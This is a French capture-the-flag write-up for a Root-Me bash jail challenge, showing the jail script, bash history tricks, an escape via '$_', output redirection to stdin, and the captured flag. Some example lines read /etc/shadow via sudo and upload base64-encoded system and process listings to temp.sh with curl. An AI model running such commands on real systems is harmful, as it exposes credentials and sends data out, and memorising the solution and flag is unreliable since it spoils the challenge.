❤️ Bash - Love Me
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/bin/bash
PATH=$(/usr/bin/getconf PATH || /bin/kill $$)
function check_input() {
if [[ $1 == *[bdksiSctr'?''*''/''<''>''&''(''{''0''1''2''3''4''5''6''7''8''9']* ]]
then
return 0
fi
return 1
}
while :
do
input=""
echo -n "Enter the input: "
read input
if check_input "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`/bin/bash -c "$input" &>/dev/null`
echo "Command executed"
fi
done
🚩 Avoir le flag
Dans cette nouvelle jail Bash
on a vraiment peu de caractères autorisés
Heureusement pour nous, notre input
est effectué dans un bash -c "$input"
ce qui fait que nous pouvons effectuer une injection grâce aux variables d’environnement de Bash
↩️ Retour dans le passé
Notre magnifique Bash
retient toutes les commandes que nous entrons et nous pouvons revenir en arrière pour les réutiliser.
Par exemple nous pouvons effectuer quelque chose comme ça:
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo !!
root:*:19478:0:99999:7:::
C'est super efficace pour réutiliser des commandes que nous avons oublié de mettre en sudo
par exemple.
En restant dans les petits tricks avec des !
, voici mon préféré:
$ echo "Welcome, my name is MisTraleuh" > /tmp/local
$ cat !$
Welcome, my name is MisTraleuh
Mais si nous avions fait une longue commande telle que:
$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
Mais zut... Je me suis trompé je voulais le faire en base32
, pas de souci:
$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
$ ^base64^base32
http://temp.sh/[...]/localfile
Explications 💡
En fait les ^^
permettent de remplacer une partie de la dernière commande par une autre. C'est vraiment très pratique pour éviter de tout retaper.
Dans l'exemple ci-dessus, j'ai remplacé base64
par base32
dans la dernière commande.
Il est aussi possible de remplacer le premier mot de la dernière commande avec ^ancienmot^nouveaumot
.
Cependant, parfois tout éditer sur une seule ligne peut être un peu compliqué. C'est pourquoi nous avons la possibilité de rééditer la dernière commande dans un éditeur de texte.
$ ls
[...]
$ fc
GNU nano 6.2 /tmp/bash-fc.yPB1xD
ls
[ Read 1 line ]
^G Help ^O Write Out ^W Where Is ^K Cut ^T Execute ^C Location M-U Undo M-A Set Mark M-] To Bracket
^X Exit ^R Read File ^\ Replace ^U Paste ^J Justify ^/ Go To Line M-E Redo M-6 Copy ^Q Where Was
🪄 $?!
Dans tout ce que je vous ai dis, il y a un petit détail qui est très important. nous pouvons aussi utiliser la commande $_
qui est la dernière commande exécutée mais vu que la dernière commande éxécutée est notre /bin/bash -c "$input"
, nous pouvons l'utiliser pour exécuter une commande.
Enter the input: $_
aaaaaa
aa
aaa
aaaaaa
Nous ne voyons déjà plus aucun message. Ce qui veut dire que nous ne sommes plus dans la jail. Mais dans un autre process !
C'est totalement vu que dans la jail nous avons &>/dev/null
, qui redirige toutes les sorties vers /dev/null
. Donc nous ne voyons pas les erreurs ni les sorties de la commande.
Nous pouvons alors utiliser un second trick qui nous permet de voir les sorties des commandes.
🙈 Comment voir les sorties des commandes ?
En bash, il y a 3 flux:
- stdin : Entrée standard
- stdout : Sortie standard
- stderr : Sortie d'erreur
Nous pouvons rediriger les flux de la manière suivante:
$ ls -la /etc/ 2> /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied
Mais nous pouvons aussi rediriger les flux vers l’entrée standard.
$ ls -la /etc/ 2>&1 > /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied
Dans notre cas, vu que nous n'avons ni ni stdout
et ni stderr
. Nous pouvons le rediriger vers stdin
ls >&0
entrypoint.sh flag.txt jail.sh
D'ailleurs il est aussi capable de le faire avec:
ls -la > /dev/stdin
entrypoint.sh flag.txt jail.sh
🏁 Le flag
Nous avons donc accès à notre flag.txt
. Il ne reste plus qu'à le lire.
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}
📜 Script
$ nc challenges.ctf20k.root-me.org 28595
Enter the input: $_
ls >&0
entrypoint.sh flag.txt jail.sh
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}
📚 Documentations
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github